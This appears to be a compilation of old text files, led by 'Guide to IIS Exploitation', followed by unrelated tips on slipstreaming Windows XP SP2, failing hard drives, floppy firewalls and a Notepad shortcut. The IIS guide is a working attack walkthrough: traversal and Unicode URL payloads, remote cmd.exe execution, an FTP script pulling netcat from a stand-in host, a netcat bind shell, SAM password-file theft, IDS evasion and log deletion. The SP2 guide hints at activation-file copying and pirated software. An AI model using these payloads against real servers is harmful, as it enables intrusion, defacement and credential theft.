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***************************************************************************
*                      Guide to IIS Exploitation                          *
*                            by fugjostle                                 *
*                                                                         *
*                             V.1.0.1                                     *
*                                                                         *
*          Questions? Comments? Email: fugjostle at ch0wn.com             *
***************************************************************************

    Disclaimer: I do not condone hacking IIS servers in any way, 
                shape or form. This guide is intended as a guide 
                for admins to help them understand what most 
                script kiddies don't understand but are happy to 
                exploit. 


--[On the first day, God created directory traversal]

Relative paths are the developers friend. They allow an entire website to 
be moved to another directory without the need for changing all the links 
in the html. For example, lets say we have a webpage called 'pictures.html' 
in the htdocs dir:

  Absolute path:  /home/webpages/htdocs/pictures.html
  Absolute path:  /home/webpages/images/pic1.gif

In the html you can refer to the 'pic1.gif' via an absolute path shown 
above or use a relative path:

  Relative path: ../images/pic1.gif

The relative path tells the server that it has to go to the parent 
directory (dot dot) -->  from /home/webpages/htdocs to /home/webpages. Then 
the server goes into the images dir and looks for the gif file to display.

Anyone who has used the 'cd' command in DOS and *nix should be familiar 
with the operation. So what's the problem I hear you ask... well, the 
programmers of web server didn't think to check the supplied URL to ensure 
that the requested file was actually in the web directory. This allows 
someone to backtrack through the servers directory structure and request 
files that the web server has access to. For example,

  http://www.target.com/../../../etc/passwd

NB. you can also use double dots and double quotes. This is useful to evade
Intrusion Detection Systems (IDS):

  http://www.target.com//....//....//...././etc/./passwd

The webserver simply strips the extra stuff out and processes the request.
This is the same as the previous example and can make string matching IDS's
work for their money.


--[On the second day, God created Hexadecimal]

Once programmers started to realise the mistake they began to create parser 
routines to check for naughty URL's and keep the requests within the 
document root. Then along comes a wiley hacker who wonders if by encoding 
the URL will it still be recognised by the parser routines.

You may have noticed that when you enter a URL that includes a space it is 
replaced with the hex equivalent (%20):

  http://www.target.com/stuff/my index.html

  becomes

  http://www.target.com/stuff/my%20index.html

and voila, it works. So what would happen if we changed the now denied URL:

  http://www.target.com/../../../etc/passwd

  to

  http://www.target.com/%2e%2e/%2e%2e/%2e%2e/etc/passwd
 
The parser routine checks for the existence of dots in the path and finds 
none... the webserver then proceeds with the request.

An interesting feature is that you can encode the hex symbol  and the web 
server will decode it all for you. This is called the "double decode". 
For example, given the URL "http://victim.com/..%252f..%252fdocs/", the 
following will take place:

(1) On the first decode, the string will be converted to:

  "http://victim.com/..%2f..%2fdocs/"

  [%25 = '%' so '%252f' is decoded to '%2f']

(2) On the second decode, the string will be converted to:

  "http://victim.com/../../docs/"

  [%2f = '/']


--[On the third day, God created Unicode]

The World Wide Web is a global phenomenon and as such needs to be globally 
interoperable. This raised the question of how to deal with all the different 
character sets around the world. As a response to this, Unicode was created:

   -----------------------------------------------------------------
   Unicode provides a unique number for every character, no matter 
   what the platform, no matter what the program, no matter what 
   the language. The Unicode Standard has been adopted by such 
   industry leaders as Apple, HP, IBM, JustSystem, Microsoft, 
   Oracle,SAP, Sun, Sybase, Unisys and many others. Unicode is 
   required by modern standards such as XML, Java, ECMAScript 
   (JavaScript), LDAP, CORBA 3.0, WML, etc., and is the official 
   way to implement ISO/IEC 10646. It is supported in many operating 
   systems, all modern browsers, and many other products.
   -----from http://www.unicode.org---------------------------------


The problem with Unicode is that it requires 16 bits for a single character 
and software tended to use 8 bits for a single character. Unicode TransForm 
using 8 bits (UTF-8) was created. This allows for multibyte encoding where a 
variable number of bytes can be used for each character:

  Character  1-byte  2-byte  3-byte 
   .         2E      C0 AE   E0 80 AE 
   /         2F      C0 AF   E0 80 AF 
   \         5C      C1 9C   E0 81 9C 

This lead to a new vulnerability in certain webservers. The parser didn't 
understand this new encoding and allowed it through :-)

For example:

  www.target.com/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/etc/passwd

Recent vulnerabilities have been taking advantage of the fact that the web 
server doesn't understand the Unicode UTF-8 character set but the underlying 
OS does:

  www.target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c%20dir

Understanding the distinction between Unicode and UTF-8 can be difficult. As
a general rule of thumb you can use the following format as a guide:

  %uxxxx          = Unicode
  %xx%xx          = UTF-8
  %xx             = Hexidecimal
  %xxxx           = Double Decode

--[On the fourth day, God created default installs]

IIS comes installed with various DLL's (Dynamic Link Libraries) that 
increase the functionality of the web server. These ISAPI (Internet Server 
API) applications allow programmers/developers to deliver more functionality 
to IIS.

The DLL's are loaded into memory at startup and offer significant speed 
over traditional CGI programs. For example, they can be combined with the 
Internet Database Connector (httpodbc.dll) to create interactive sites that 
use ODBC to access databases.

The problem is that some of these DLL's are insecure and are often installed 
with sample scripts that demonstrate how to exploit, erm, I mean use them.

ASP.DLL is used to pre-process requests that end in ".asp". ASP (Active 
Server Pages) are basically HTML pages with embedded code that is processed 
by the webserver before serving it to the client. 

Here's some examples to illustrate how the sample pages installed by default
can aid someone breaking into your site via the ASP.DLL:
[prefix all the examples with http://www.target.com]

  /default.asp.

   ** Appending a '.' to the URL can reveal the source 
   ** on older systems. Remember hex encoding? You can 
   ** also try using %2e to do the same thing.

  /msadc/samples/adctest.asp

   ** This gives you an interface into the msadcs.dll 
   ** and allows creation of DSN's. Read RFP's stuff
   ** for idea's on how to exploit this.

  /iissamples/exair/howitworks/codebrws.asp?source=/msadc/Samples/../../.../../../../boot.ini
  /msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../.../boot.ini

   ** You can view the source of anything in the 
   ** document root. '/msadc/' needs to be in the 
   ** request as it is checked for, wait for this,
   ** security :-)

  /index.asp::$DATA

   ** Appending '::$DATA' to the URL can reveal
   ** the source of the ASP.

  /index.asp%81
  
   ** Append a hex value between 0x81 and 0xfe
   ** and you can reveal the source of any server
   ** processed file. This only works on servers
   ** that are Chinese, Japanese or Korean.

  /AdvWorks/equipment/catalog_type.asp?ProductType=|shell("cmd+/c+dir+c:\")|

   ** This one allows you to execute remote
   ** shell commands ;-)

ISM.DLL is used to process requests that end in ".htr". These pages were used 
to administer IIS3 servers. In IIS4 they are not used but various .htr samples 
are installed by default anyway and offer another avenue for entry.

  /index.asp%20%20%20..(220 more)..%20%20.htr

   ** IIS will redirect this request to ISM.DLL,
   ** which will strip the '.htr' extension and
   ** deliver the source code of the file.
  
  /global.asa+.htr

   ** Does the same thing as the %20%20 exploit
   ** above. ISM.DLL strips the +.htr and delivers
   ** you the source of the file

  /scripts/iisadmin/ism.dll?http/dir

   ** Excellent brute force opportunity if the
   ** dll exists. Successful logons will reveal
   ** lots of useful stuff.

  /iisadmpwd/aexp.htr

   ** The iisadmpwd diectory contains several .htr 
   ** files that allow NetBIOS resolution and 
   ** password attacks.

  /scripts/iisadmin/bdir.htr??c:\inetpub\www

   ** This method will only reveal directories
   ** but can be useful for identifying the 
   ** servers structure for more advanced 
   ** attacks later.

MSADCS.DLL is used to allow access to ODBC components via IIS using RDS 
(Remote Data Service). RDS is part of the default install of Microsoft Data 
Access Components (MDAC) and is a commonly exploited on IIS. It can allow
arbitrary shell commands to be executed with system privileges.

  /msadc/msadcs.dll

   ** If this file exists then there's a pretty 
   ** good chance that you can run the RDS 
   ** exploit again the box. More on this later.

HTTPODBC.DLL is the Internet Connector Database (IDC) and used when the web
server wants to connect to a database. It allows the creation of web pages
from data in the database, and it allows you to update/delete items from 
within webpages. Pages with the extension '.idc' are sent to the HTTPODBC.DLL
for processing. 

  /index.idc::$DATA

   ** Appending '::$DATA' to the URL can reveal
   ** the source of the IDC.

  /anything.idc
  
   ** Requesting a non-existance file will
   ** reveal the location of the web root.

  /scripts/iisadmin/tools/ctss.idc

   ** Creates a table based on the parameters it 
   ** receives. Excellent place to look at for 
   ** SQL injection.

SSINC.DLL is used for processing Server Side Includes (SSI). '.stm', 
'.shtm' and '.shtml' extension are sent to the DLL which interprets
the SSI statements within the HTML before sending it to the client.

An example of SSI would be:

  <!--#include file="news.txt"-->

This SSI tells the server to include the 'news.txt' in the final HTML 
sent to the use. SSI statements are beyond the scope of this document 
but offer another security hole open to our wiley hax0r. Ensure you 
remove the app mapping and disable SSI if you do not require its 
functionality.

SSINC.DLL is also vulnerable to a remote buffer overflow, read the 
following advisory for details:

  http://www.nsfocus.com/english/homepage/sa01-06.htm

Some examples of SSINC.DLL fun:

  /anything.stm

   ** If you request a file that doesn't exist
   ** then the server error message contains the
   ** the location of the web root.

  /somedir/anything.stm/somedir/index.asp

   ** Using this method allows you to view the
   ** the source code for index.asp. 
  
IDQ.DLL is a component of MS Index Server and handles '.ida' and '.idq'
requests. This DLL has had some big exposure with the recent Nimda worm. 
I'm not going into too much detail but '.ida' was used in a buffer 
overflow that resulted in user defined code being executed on the server.

  /anything.ida or /anything.idq
  
   ** Requesting a non-existance file will
   ** reveal the location of the web root.

  /query.idq?CiTemplate=../../../boot.ini

   ** You can use this to read any file on
   ** the same drive as the web root

CPSHOST.DLL is the Microsoft Posting Acceptor. This allows uploads to your 
IIS server, via a web browser or the Web Publishing Wizard. The existance of 
this DLL can allow attackers upload files to the server. Other files such as
uploadn.asp, uploadx.asp, upload.asp and repost.asp are installed with Site
Server and allow upload of documents to the server:

  /scripts/cpshost.dll?PUBLISH?/scripts/dodgy.asp

   ** If this file is there then you may be able
   ** to upload files to the server.

  /scripts/uploadn.asp
  
   ** Connecting to this page gives you a nice
   ** gui for uploading your own webpages. You
   ** probably need to brute the userid.

There are lots more example scripts in the default install and quite a few 
of them are very, very insecure. Microsoft recommends that you remove ALL 
samples from any production server including the ExAir, WSH, ADO and other 
installed samples.

  IIS Default Web Site
  --------------------
  IISSAMPLES  - c:\inetpub\iissamples
  IISADMIN    - c:\winnt\system32\inetsrv\issadmin
  IISHELP     - c:\winnt\help
  SCRIPTS     - c:\inetpub\scripts
  IISADMPWD   - c:\winnt\systems32\inetsrv\iisadmpwd
  msadc       - c:\program files\common files\system\msadc
  logfiles    - c:\winnt\system32\logfiles
  default.htm - c:\inetpub\wwwroot

  IIS Default App Mapping
  -----------------------
  .asa   - c:\winnt\system32\inetsrv\asp.dll
  .asp   - c:\winnt\system32\inetsrv\asp.dll
  .cdx   - c:\winnt\system32\inetsrv\asp.dll
  .cer   - c:\winnt\system32\inetsrv\asp.dll
  .htr   - c:\winnt\system32\inetsrv\ism.dll
  .idc   - c:\winnt\system32\inetsrv\httpodbc.dll
  .shtm  - c:\winnt\system32\inetsrv\ssinc.dll
  .shtml - c:\winnt\system32\inetsrv\ssinc.dll
  .stm   - c:\winnt\system32\inetsrv\ssinc.dll


--[On the fifth day, God created Frontpage Extensions]

Microsoft Frontpage (Originally developed by Vermeer Tech Inc, if you've 
ever wondered why they use _vti_) is a web design tool that helps you 
create and maintain a web site and allows you to publish it to the web 
server. 

In order to publish using Frontpage the server needs to run certain 
programs, collectively called the Frontpage Server Extensions.

Sounds good I hear you say, but there are many, many security holes in 
Frontpage. You can list all the files, download password files and upload 
your own files on Frontpage enabled sites.

When you publish a file, Frontpage attempts to read the following URL to 
get all the information it needs to publish:

  http://www.myserver.com/_vti_inf.html

Then Frontpage uses the following URL to POST the files to the site:

  http://www.myserver.com/_vti_bin/shtml.exe/_vti_rpc

It will come as no surprise that this file is not protected and open to 
abuse.

All information for the site is stored in the /_vti_pvt/ dir, and its world 
readable. Here's some of the things you can look for:

  http://www.myserver.com/_vti_pvt/administrators.pwd
  http://www.myserver.com/_vti_pvt/authors.pwd
  http://www.myserver.com/_vti_pvt/service.pwd
  http://www.myserver.com/_vti_pvt/shtml.dll
  http://www.myserver.com/_vti_pvt/shtml.exe
  http://www.myserver.com/_vti_pvt/users.pwd
  http://www.myserver.com/_private


--[On the sixth day, God created CGI]--

The Common Gateway Interface (CGI) is a standard for interfacing external 
applications to the web server. A CGI program is excuted in real time and 
is used to create dynamic web sites.

Generally, the CGI programs are kept in '/cgi-bin/' but can be placed 
anywhere. The programs can be written most languages but typically they are 
written in C, Perl or shell scripts.

Many sites will use freely available, downloadable scripts from places like 
Matt's Trojan, erm, I mean Matt's Script Archive. Its always a good idea to 
look through the source of the scripts for bad system calls and lax input 
validation.

CGI deserves a tutorial all to itself and I strongly suggest that you read 
the following tutorials... they explain it better than I ever could:

  Hacking CGI       - http://shells.cyberarmy.com/~johnr/docs/cgi/cgi.txt
  Perl CGI Problems - http://www.phrack.com/phrack/55/P55-07

Just to get you in the mood we will have a brief look at CGI exploitation.
There are three main types of CGI hacking; URL encoding attacks, input 
validation exploits and buffer overflows.

The first thing to keep in mind is that you are already able to exploit cgi 
using the techniques from previous sections. First, we need to cover some 
background. CGI can take lots of shapes and forms. One popular use is via
web based forms that submit information to a CGI via a GET or POST.

  <FORM NAME="myform" "METHOD=GET" ACTION="../cgi-bin/my_cgi.cgi">

When the user clicks on the submit button his information is passed to the 
CGI script to process either via the URL (GET) or via HTTP headers (POST). 
Lets assume that the CGI we are going to exploit asks the user for the name 
of a file to display. The 'GET' method uses the URL to pass the information 
and it would look like this:

  http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwd

Lets break that down:

  ?            - separates the request from the parameters
  filename     - this is the name of the textbox in the html
  =            - assignment for the parameter/value pair
  /etc/passwd  - this is what the user typed into the box

You can have multiple fields within a HTML form and these will also be 
passed to the CGI. They are separated using a '&':

  http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwd&user=fugjostle

If you were thinking how could you alter the user supplied input to break 
the CGI then good, you're starting to think in terms of security. Lots of 
developers love to program new and interesting things but they do not 
consider security. A security conscious programmer would write input 
validation routines that would process the data and ensure the user wasn't 
be malicious or curious. 

As you read through some of the free scripts on the web you will start to 
realise that many programmers do not think about security. Lets look briefly 
at some ways we could exploit the CGI. The first thing to keep in mind is 
that you already know the generic exploits from the previous section. The 
only area in which we are lacking is programming language specific info.

We will stick with the example cgi that open's a file (and let's assume 
its written Perl). Lets look at some of the things we can try:

  my_cgi.pl?filename=../../../../../etc/passwd

and lets do the same thing but encode the URL to bypass security checks:

  my_cgi.pl?filename=../..%c0%af../..%c0%af../etc/passwd

If you have read the RFP document above then you will be familiar with 
poison null bytes. Stop now and go read it... can't be arsed? ok then,  
here's the quick version. %00 is valid in a string with Perl but is NUL 
in C. So? When Perl wants to open the file it makes a request to the
operating system through a system call. The operating system is written in 
C and %00 is a string delimiter. Lets apply this technique to the 
following situation.

I decide to secure my CGI. I append '.html' to any request. This means that 
the user can only view html files and if they try something else then it 
doesn't exist. wh00p @ me :-)

But... what if I was to do the following:

  my_cgi.pl?filename=../../../../etc/passwd%00

In Perl the filename string would look like this:

  "../../../../etc/passwd\0.html"

Perfectly valid under Perl. I have done my job... or have I? When this is 
passed to the OS (which is written in C not Perl) the request looks like 
this:

  "../../../../etc/passwd"

The OS identifies %00 as the string delimiter and ignores anything that 
Comes after it. The webserver then displays the /etc/passwd file... bugger :-(

Many people download scripts from the web and look for problems in the 
script. Then the wiley hax0r will go to altavista and search for sites 
that are using that script, eg:

  url:pollit.cgi

and good old altavista provides a list of sites that are just ripe for the 
taking.

The final method of exploiting CGI is via buffer overflows. Languages like 
Java and Perl are immune to buffer overflows because the language looks 
after memory management. Programs written in a language such as C are 
vulnerable because the programmer is supposed to manage the memory. Some 
programmers fail to check the size of data it is fitting into the memory 
buffer and overwrites data in the stack. 

The goal of the buffer overflow is to overwrite the instruction pointer
which points to the location of the next bit of code to run. An attacker 
will attempt to overwrite this pointer with a new pointer that points to 
attacker's code, usually a root shell.

Quite a few CGI's exist that are vulnerable to this type of attack. For 
Example, counter.exe is one such CGI. By writing 2000 A's to the CGI cause
a Denial of Service (DoS).

The details of buffer overflows are beyond the scope of this document. 
Look out for a future release ;-)

If you want to dig deeper in buffer overflows then have a look at:

  http://www.phrack.com/phrack/49/P49-14


--[On the seventh day, God chilled and haxored the planet]

Well.. I guess its time we actually tried some of the things discussed but 
I'm not going to cover everything. I suggest going to the following URL's 
and searching for IIS:

  http://www.securityfocus.com/
  http://www.packetstormsecurity.com/

My main reason for doing this file was to better understand Unicode exploits 
and so that is going to be the focus of the exploitation. The first exploit 
I'm going to go through is the recent Unicode exploit for IIS4/5: 

  http://www.securityfocus.com/bid/1806

Before I get emails saying 'hold on, you said that %xx%xx is UTF-8" let me 
explain. This had wide exposure on Bugtraq as the Unicode exploit. In 
reality, this is not a Unicode sploit but a UTF-8 sploit. I'm going to keep 
calling this the Unicode exploit because its now referenced by this name in 
the Bugtraq archives and you'll have to search using Unicode to do further
research.

Ok, rant over... To check if the server is exploitable, request the 
following URL:

  http://target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

You should get a directory listing of the C:\ drive on the target server. 
The important thing to note is that the Unicode string can vary depending 
where in the world you are. Some possible alternatives include:

  %c1%1c %c0%9v %c0%af %c0%qf %c1%8s %c1%9c %c1%pc 

There are many more to choose from, just look at some of the Bugtraq posts or 
research UTF-8 for more alternatives.

OK, you can read the directory... what next? You have the directory listing 
and the ability to run commands, so you need to find the web root. By default, 
the web root is at:

  c:\inetpub\wwwroot\

If its not there then go and look for it. Let's write a text file there and 
see if we can see it:

  cmd.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txt

hmmm.. it seems that we don't have write access. Ok, no problem we can get 
around that by creating a copy of the cmd.exe that has write privileges:

  cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\system32\fug.exe

Let's check if it worked:

  http://target.com/scripts/..%c0%af../winnt/system32/fug.exe?/c+dir+c:\

Yep.. all's good so far. Lets try and write to the web root:

  fug.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txt

Let's open up it up in the browser and see if we can see it:

  http://target.com/test.txt

w00t!!! Write access!!! Right, we now have some options open to us. In the 
words of Microsoft, where do you want to go today? Working via the URL is 
pretty clunky and I like the comfort of a nice command prompt, So lets do 
that. I want to bring over a copy of netcat and a nice html page that I'll 
use to replace the existing one.

First I need to think about the script I want to run that will get the 
files I need from my FTP server:

 fugscript:
  open ftp.evilhaxor.com
  anonymous
  anon@microsoft.com
  cd pub
  get nc.exe
  get hacked.html
  quit

Right. I need to get this script onto the webserver:

  fug.exe?/c+echo%20open%20ftp.evilhaxor.com>fugscript
  fug.exe?/c+echo%20anonymous>>fugscript
  fug.exe?/c+echo%20anon@microsoft.com>>fugscript
  fug.exe?/c+echo%20cd%20pub>>fugscript
  fug.exe?/c+echo%20get%20nc.exe>>fugscript
  fug.exe?/c+echo%20get%20hacked.html>>fugscript
  fug.exe?/c+echo%20quit>>fugscript

OK.. now we have created a script on the server called fugscript. Next step 
is to execute the script and get my files from my web server.

  fug.exe?/c+ftp%20-s:fugscript

If all goes well the server should begin the FTP transfer and get your files 
transferred. Be patient and give it time to transfer. Now you are ready to 
get netcat listening on a port. The command line for starting netcat is:

  nc.exe -l -p 6667 -e cmd.exe

This tells netcat to listen (-l) on port 6667 (-p) and to spawn cmd.exe (-e) 
when someone connects. The last step is to translate this command into URL 
speak ;-):

  fug.exe?/c+nc.exe%20-l%20-p%206667%20-e%20cmd.exe

Fire up a telnet session and connect to port 6667 on the target system and 
voila... you have a cmd prompt. I really hate web defacements... so if your 
going to do it then rename the existing index.htm (or default.htm) to 
something like index.htm.old (give the poor admin a break, cause you can bet
your arse that he hasn't made a backup). ALSO: you are now using a system 
without authorisation and as such, you are guilty under the Computer Misuse 
Act in the UK and probably of something similar in your own country. If it 
never occurred to you to delete the contents of c:\winnt\system32\logfiles 
or the 'fugscript' file then you really shouldn't be doing this.



It just wouldn't be right to talk about IIS exploitation without mentioning 
msadc.pl. rfp's perl script is a perfect example of exploit chaining. A 
single exploit is not used but a chain of exploits to get the script to 
work.

The exploit utilises a combination of inadequate application input validation 
and default install fun. The process tries to connect to a Data Source Name 
(DSN) to execute commands.

rfp's script tests for the existence /msadc/msadc.dll using the GET method. 
This test will be logged and you should edit the script to make it a HEAD 
request and add some URL obfuscation madness. 

The default msadc.pl script uses "!ADM!ROX!YOUR!WORLD!" as the MIME 
separator string. It is advised to change this string as some IDS's are 
configured to identify this string.

If you want to write your own scanners then you should be looking for 
headers with the content type:

  application/x-varg

and of course the IIS version :-) I don't want to go into too much detail 
because this is heavily documented on rfp's site:

  http://www.wiretrip.net/rfp/

How do I use it? I hear you cry... well, its child's play:

  ./msadc2.pl -h www.target.com

If all goes well then you should be presented with the following:

  command:

Its interesting to note at this point that 'cmd /c' will is run as with the
previous exploit. You can edit the script to run any other executable such 
as 'rdsik /s' instead.

This is good, you can know enter the command you want to run on the server. 
The previous Unicode exploit should have given you some ideas but here's a 
couple that come to mind:

  Example 1:
  copy c:\winnt\repair\sam._ c:\inetpub\wwwroot\fug.hak

  (grabbing fug.hak via your browser should give you a nice file to fire up 
   in L0phtcrack or JTR)

  Example 2:
  echo open ftp.evilhaxor.com>fugscript && echo fug>>fugscript
  && echo mypassword>>fugscript... etc. etc.
  
Anyway, that's about all for now. When I can be bothered I'll add some more 
methods to this file. Until then, ensure your box is fully patched and the 
default scripts are removed. Go have a look at the following URL and get 
secure:

  http://www.microsoft.com/security/

***************************************************************************
Greetz to: ReDeeMeR, BarnseyBoy, Reeferman, gabbana, think12, Wang, Enstyne, 
           [502BOP], Muad_Dib, Macster, n0face, palmito, kph, Homicide, Col, 
           Axem, Booto, _Penguin, nsh, Chawmp, shad, hellz and everyone in 
           #CA who are way too numerous to mention.
***************************************************************************

[Master]

DarkLegacy's Guide to Slipstreaming Service Pack 2

Note: All images are hosted with ImageShack.

• This guide will allow you to sucsessfully install Service Pack 2 on the original (gold) code of Microsoft Windows XP.
• The version of Windows you have purchased/downloaded does not matter as far as slipstreaming (they're all the same anyway).

Things you need:
• Microsoft Windows XP (duh :P)
• Service Pack 2:

URL http://download.microsoft.com/download/1/6/5/165b076b-aaa9-443d-84f0-73cf11fdcdf8/WindowsXP-KB835935-SP2-ENU.exe

• Windows XP Boot sector:

http://www.neowin.net/downloads/xpboot.bin

• Nero Burning Rom (find it on SoD)

Step One

Insert the Microsoft Windows XP CD into your CD-ROM drive, and create a new folder on your hard-drive labelled "CD".

Copy all of the files from the Windows XP CD to the "CD" folder.




Step Two

Download Service Pack 2 and place it within the root of your hard-drive.
Ex: C:\ D:\ etc..



Step Three

Go to Start -> Run and type in "F:\WindowsXP-KB835935-SP2-ENU.exe -s:F:\CD" (depending on where you put the folder)

The actual command is -s:drive:\folder



Step Four

The Service Pack 2 updater will automatically slipstream Service Pack 2 into your "CD" folder.




Step Five

If you browse back to the CD folder, you'll notice that new folders and files appeared from the SP2 update. At this point, you can include any software you wish onto this CD, but make sure that the size of the folder does not exceed the media you are burning on. If you're not sure, a regular CD is 700 megabytes.



Step Six

Go to Start and Search for files and folders. Go to all files and folders, and type in "wpa.dbl". This is the activation file for your current installed version of XP. Make a copy of the file and paste it into your CD folder.



Step Seven

Open up Nero Smartstart, and click on the icon that looks like two people. This turns the program into "professional mode". Search for create a bootable CD. Click on it, and make sure that your settings agree with the following picture; also make sure that you downloaded the Windows XP boot sector.



Step Eight

Continue onto the next tab, and make sure that your settings agree with the picture:



Step Nine

In this step, you can label your CD whatever the hell you want. I recommend WXPSP2_EN.


Step Ten

Go to "new" and locate your CD folder. Drag all of the files in the CD folder to the compilation window on the right, and nero will calculate how much disk space was used. If it exceeds 700 MB, get rid of some programs that you added to the CD. If you didn't add anything; just push burn.


Step Eleven

Make sure that your settings check with the picture:



Step Twelve

Just push burn, and that's it! Congradulations, you just made a bootable Win XP CD with SP2 slipstreamed!

[Master]

Hard drive gone bad

The most common problems originate
from corruption of the master boot record, FAT, or directory.
Those are soft problems which can usually be taken care of
with a combination of tools like Fdisk /mbr to refresh the
master boot record followed by a reboot and Norton disk doctor
or Spinneret.

The most common hardware problems are a bad controller, a bad
drive motor, or a bad head mechanism.

1. Can the BIOS see and identify the hard drive correctly? If
it can't, then the hard drives onboard controller is bad.

2. Does the drive spin and maintain a constant velocity? If it
does, that's good news. The motor is functioning.

3. If the drive surges and dies, the most likely cause is a
bad controller (assuming the drive is cool). A gate allowing
the current to drive the motor may not be staying open. The
drive needs a new controller.

4. Do you hear a lot of head clatter when the machine is
turned on and initialized (but before the system attempts to
access the hard drive). Head clatter would indicate that the
spindle bearings are sloppy or worn badly. Maybe even lose and
flopping around inside.

5. There is always the possibility that the controller you are
using in the machine has gone south.

1. If the drive spins, try booting to the A> prompt, run Fdisk
and check to see if Fdisk can see a partition on the hard
drive. If Fdisk can see the partition, that means that it can
access the drive and that the controller electronics are
functioning correctly. If there is no head clatter, it may be
just a matter of disk corruption which commonly occurs when a
surge hits you machine and overwhelms the power supply voltage
regulator. It commonly over whelms the system electronics
allowing an EM pulse to wipe out the master boot record, file
allocations table, and primary directory. Fdisk can fix the
master boot record and Norton Disk Doctor can restore the FAT
and Directory from the secondaries.
2. The drive spins but Fdisk can't see it. Try the drive in
another system and repeat the test to confirm that Fdisk can't
read through the drives onboard controller. If it sees it in
another system, then your machines hard drive interface is
bad. You can try an upgraded or replacement controller card
like a Promise or CMD Technologies (there are others) in you
machine after disabling the integrated controller in the BIOS,
but if the integrated controller went south, it may just be
symptomatic of further failures and you'd be wise to replace
the motherboard. Trying the drive in another machine also
eliminates the variable that your machines 12 volt power
output being bad

3. If you get head clatter but a constant velocity on the
drive motor (no surging), you might try sticking the hard
drive in the freezer for about 12 hours. This is an old trick
from back in the days of the MFM/ESDI driver era. This can
cause the drive components to shrink enough to make the track
marker align with the tracks. We don't see that kind of
platter spindle wear much anymore, but back in the old days,
the balancing and bearings weren't as good. Still, under the
right circumstances, it might help. It would depend on how old
the drive is and how many hours of wear have occurred. You
have to be quick to get your info off the drive when it works.
Back then, the drives were much smaller, so there wasn't so
much to copy. So, go after the important data first.

4. The drive doesn't spin. Either the onboard controller is
bad or the motor is bad (assuming you did try the drive in
another machine). It's time to hit the net and local
independent shops to see if you can locate another drive of
the same make and model that's good. Since the drive is
probably an older drive and no longer in distribution, your
best bet is to find an identical used drive. If you know
someone with the same make and model, you might be wise to try
and persuade them to sell you their drive with an offer of
providing them with a free upgraded drive. If you can locate
an identical drive, start with the controller replacement ...
this is the simplest and least invasive. If swapping the
controller doesn't produce the desire result, you can tear
into the drive and swap the motors. While you have both drive
opened up to accomplish this, scrutinize the platters, heads
and armatures. You might even hook the drive up and power it
from a system with both drives attached. This way, you could
see anything that deviates between the actions of both drives
when they are initialized. Swapping patters is unlikely to
produce any positive result. They are a balanced system like
the tires on your car and I suspect that the balance will be
different for each drive as will other variables.

5. There's always Ontrack Corp. who will attempt to recoup
your info starting at $500 and going up from there. They don't
fix and return the drive either.

If the info is all that important to you, I would seek some
professional and experience technician in your locality who
makes his living from servicing and building computer systems
... not just selling them. If you have had much experience
salvaging information from bad hard drives, your likelihood of
success is low. In the case of soft corruption, all utilities
have their eccentricities. Often times, Norton Disk Doctor
will go too far (if you let it). It's wise to just let those
utilities small steps and then have a look at the drive and
see if you can copy it off. Norton will go so far as to rename
directories and files, and even delete them or break them up
into fragments which are useless.
_________________

[Master]

The best firewall is a hardware firewall that is completely separate from your operating system. It need not be a dedicated router, could be an old pentium box running Linux. Below I have found some sites that have How To's on setting up an outside hardware router using an old computer and using a little linux program that fits on a single floppy disk.

Brief Description:
floppyfw is a router with the advanced firewall-capabilities in Linux that fits on one single floppy disc.

Features:
Access lists, IP-masquerading (Network Address Translation), connection tracked packet filtering and (quite) advanced routing. Package for traffic shaping is also available.
Requires only a 386sx or better with two network interface cards, a 1.44MB floppy drive and 12MByte of RAM ( for less than 12M and no FPU, use the 1.0 series, which will stay maintained. )
Very simple packaging system. Is used for editors, PPP, VPN, traffic shaping and whatever comes up. (now this is looking even more like LRP (may it rest in peace) but floppyfw is not a fork.)
Logging through klogd/syslogd, both local and remote.
Serial support for console over serial port.
DHCP server and DNS cache for internal networks.

floppyfw


h#tp://www.zelow.no/floppyfw/



Sentry Firewall CD-ROM is a Linux-based bootable CDROM suitable for use as an inexpensive and easy to maintain firewall, server, or IDS(Intrusion Detection System) Node. The system is designed to be immediately configurable for a variety of different operating environments via a configuration file located on a floppy disk, a local hard drive, and/or a network via HTTP(S), FTP, SFTP, or SCP.

The Sentry Firewall CD is a complete Linux system that runs off of an initial ramdisk, much like a floppy-based system, and a CD. The default kernel is a current 2.4.x series kernel with various Netfilter patches applied. An OpenWall-patched current 2.2.x kernel is also available on the CD.

Booting from the CDROM is a fairly familiar process. The BIOS execs the bootloader(Syslinux) - which then displays a bootprompt and loads the kernel and ramdisk into memory. Once the kernel is running, the ramdisk is then mounted as root(/). At this point our configuration scripts are run(written in perl) that configure the rest of the system. It is the job of these configure scripts to put the various startup and system files into the proper location using either what is declared in the configuration file(sentry.conf) or the system defaults located in the /etc/default directory.

Most of the critical files used at boot time can be replaced with your own copy when declared in the configuration file. This is essentially how we allow the user to configure the system using his/her own configuration and init files.

All of the binaries, files, scripts, etc, used to create the CD-ROM are also available on the CD-ROM. So, with a little practice, you can easily build and customize your own bootable Sentry Firewall CD. Please see the HOWTO for more details.


Sentry Firewall


ht*p://www.sentryfirewall.com/docs.html#overview

[Master]

Have Notepad In Send To



Many apply a registry tweak to have notepad as an option for unknown file types. We frequently see such files which are actually just text, but named with some odd file-extension. And then, some suspicious files which we want to make sure what the contents are. Well, in such cases where the registry tweak is applied, the downside happens to be that even some known files get associated with notepad - but no, all we want is to be able to open a file with notepad - the association part in such cases is unwanted interference. Also, notepad becomes a permanent fixture on the right-click menu - which is again an annoyance.

So what we do, is to have notepad as an option in the Send-To options, of the right-click menu in explorer. It fulfils the purpose to perfection (atleast, in my case). Here's what we do:

1. right-click desktop, choose "New >> Shortcut"
2. Type the location of the item - "notepad" - (that's all, no need to give path)
3. Next >> type name for shortcut - "Edit with Notepad"
4. Click finish
5. Now right-click this shortcut on the desktop, and choose properties.
6. Confirm that the "target" and "start in" fields are using variables - "%windir%\system32\notepad.exe" - (absolute paths will be problematic if you use this .LNK on machines other than your own)
